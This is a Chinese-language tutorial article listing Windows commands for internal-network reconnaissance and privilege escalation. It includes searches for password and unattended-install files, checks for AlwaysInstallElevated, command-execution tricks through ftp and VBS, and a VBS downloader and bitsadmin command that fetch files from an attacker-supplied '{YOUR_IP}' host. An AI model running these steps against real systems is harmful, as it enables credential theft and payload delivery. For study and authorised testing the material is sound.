Windows内网渗透提权的几个实用命令

系统 Windows 系统运维
这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

[[172237]]

这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

1.获取操作系统信息

识别操作系统名称及版本:

  1. C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  
  2. OS Name: Microsoft Windows 10 Pro 
  3. OS Version: 10.0.14393 N/A Build 14393 

当然中文系统你得这样:

  1. systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 

识别系统体系结构:

  1. C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%  
  2. AMD64 

查看所有环境变量:

  1. C:\Users\thel3l> SET 
  2. USERNAME=thel3l 
  3. USERPROFILE=C:\Users\thel3l 
  4. *snip* 

查看某特定用户信息:

  1. C:\Users\thel3l>net user thel3l  
  2. User name thel3l 
  3. *snip* 
  4. The command completed successfully 

2.获取网络信息

查看路由表信息:

  1. C:\Users\thel3l> route print 

查看ARP缓存信息:

  1. C:\Users\thel3l> arp -A 

查看防火墙规则:

  1. C:\Users\thel3l> netstat -ano  
  2. C:\Users\thel3l> netsh firewall show config  
  3. C:\Users\thel3l> netsh firewall show state  

3.应用程序及服务信息

查看计划任务:

  1. C:\Users\thel3l> schtasks /QUERY /fo LIST /v 

中文系统的命令,先调整GBK编码为437美国编码:

  1. chcp 437 

然后

  1. schtasks /QUERY /fo LIST /v 

查看服务进程ID:

  1. C:\Users\thel3l> tasklist /SVC 

查看安装驱动:

  1. C:\Users\thel3l> DRIVERQUERY 

查看安装程序和版本信息(漏洞利用线索):

  1. C:\Users\thel3l> wmic product list brief 

查看服务、进程和启动程序信息:

  1. C:\Users\thel3l> wmic service list brief 
  2. C:\Users\thel3l> wmic process list brief 
  3. C:\Users\thel3l> wmic startup list brief 

查看.msi程序的执行权限:

  1. C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
  2. C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

查看是否设置有setuid和setgid:

  1. C:\Users\thel3l>reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits 

查看安装补丁和时间信息:

  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn 

查看特定漏洞补丁信息:

  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx" 

4.敏感数据和目录

查找密码文件或其它敏感文件:

  1. C:\Users\thel3l> cd/ 
  2. C:\Users\thel3l> dir /b/s password.txt  
  3. C:\Users\thel3l> dir /b/s config.*  
  4. C:\Users\thel3l> findstr /si password *.xml *.ini *.txt 
  5. C:\Users\thel3l> findstr /si login *.xml *.ini *.txt 

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

  1. C:\sysprep.inf 
  2. C:\sysprep\sysprep.xml 
  3. C:\Windows\Panther\Unattend\Unattended.xml  
  4. C:\Windows\Panther\Unattended.xml 

5.文件系统

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:

  1. import os; os.system("cmd /c {command here}"

使用copy con命令创建ftp执行会话:

范例

  1. C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件  
  2. ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出  
  3. C:\Users\thel3l> ftp.bat # 执行创建的文件  
  4. ftp> # 执行ftp命令  
  5. ftp> !{command} # e.g. - !dir or !ipconfig 

使用copy con命令创建VBS脚本文件:

  1. C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件  
  2. Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容  
  3. C:\Users\thel3l> commandExec.vbs #执行脚本文件 

检查文件夹可写状态:

  1. C:\Users\thel3l> dir /a-r-d /s /b 

6.一个有用的文件上传脚本

  1. ' downloadfile.vbs   
  2. Set your settings  
  3. strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"  
  4. strHDLocation = "c:\\{FILE_NAME.EXT}"  
  5. Fetch the file  
  6. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP" 
  7. objXMLHTTP.open "GET", strFileURL, false  
  8. objXMLHTTP.send()  
  9. If objXMLHTTP.Status = 200 Then  
  10. Set objADOStream = CreateObject("ADODB.Stream" 
  11. objADOStream.Open  
  12. objADOStream.Type = 1 'adTypeBinary  
  13. objADOStream.Write objXMLHTTP.ResponseBody  
  14. objADOStream.Position = 0 'Set the stream position to the start 
  15. Set objFSO = Createobject("Scripting.FileSystemObject" 
  16. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation  
  17. Set objFSO = Nothing  
  18. objADOStream.SaveToFile strHDLocation  
  19. objADOStream.Close  
  20. Set objADOStream = Nothing  
  21. End if  
  22. Set objXMLHTTP = Nothing 

该脚本是一个社区发布的,你可以以下这种方式运行它:

  1. C:\Users\thel3l>cscript.exe downloadfile.vbs 

bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例

  1. C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file  
  2.  
  3. C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}  
  4.  
  5. C:\Users\username\Downloads\{FILE_NAME.EXT} 

如:

  1. bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip 
责任编辑:武晓燕 来源: FreeBuf
相关推荐

2020-07-22 13:50:39

shell命令前端

2016-11-11 08:51:47

2013-05-06 15:42:49

2021-01-13 08:14:36

Windows提权漏洞攻击

2014-01-03 17:33:42

网络·安全技术周刊

2016-12-12 09:11:20

2011-01-17 11:18:18

思科认证

2020-09-28 15:14:31

Linux常用命令实用命令

2023-05-04 12:39:27

GDB命令程序

2018-07-05 10:44:09

Windows提权漏洞

2020-11-16 10:55:41

Windows

2017-04-17 19:48:51

2013-04-12 13:21:44

2013-04-18 17:07:36

2011-03-07 11:36:23

FileZillaSe

2023-03-23 21:08:59

head命令

2023-03-24 10:07:46

tail命令

2017-04-17 18:38:03

Windows提权漏洞

2023-09-11 06:59:59

2021-01-06 08:04:30

Linux方式提权
点赞
收藏

51CTO技术栈公众号